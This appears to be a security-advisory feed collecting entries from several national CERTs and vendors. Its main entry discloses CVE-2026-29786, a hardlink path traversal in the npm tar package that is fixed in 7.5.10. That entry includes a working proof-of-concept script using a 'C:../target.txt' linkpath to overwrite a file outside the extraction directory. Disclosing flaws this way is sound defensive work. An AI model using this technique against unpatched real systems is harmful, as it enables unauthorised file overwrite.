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bdu:2026-06967

certfr-2026-avi-0316 — De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer…

certfr-2026-avi-0316

Withdrawn: CLEANSTART-2026-AD27625 — Security fixes for CVE-2022-25881, CVE-2022-33987, CVE-2025-25285, CVE-2025-62718, CVE-2025-69873, CVE-2026-21637, CVE-…

Withdrawn by the publisher.

Affected: CleanStart: mongosh

Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.

EUVD-2026-362292

fkie_cve-2026-29786

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

GHSA-qffp-2rhf-9h96 — tar has Hardlink Path Traversal via Drive-Relative Linkpath

Affected: npm: tar

### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')

const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })…

msrc_CVE-2026-29786 — node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

msrc_CVE-2026-29786

NCSC-2026-0325 — Kwetsbaarheden verholpen in Atlassian producten

NCSC-2026-0325

UBUNTU-CVE-2026-29786

Affected: Ubuntu:Pro:14.04:LTS: node-tar, Ubuntu:Pro:16.04:LTS: node-tar, Ubuntu:18.04:LTS: node-tar, Ubuntu:Pro:20.04:LTS: node-tar, Ubuntu:22.04:LTS: node-tar, Ubuntu:24.04:LTS: node-tar, Ubuntu:25.10: node-tar, Ubuntu:26.04:LTS: node-tar

WID-SEC-W-2026-1220 — IBM App Connect Enterprise: Mehrere Schwachstellen

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren, und um einen Denial of Service Angriff durchzuführen.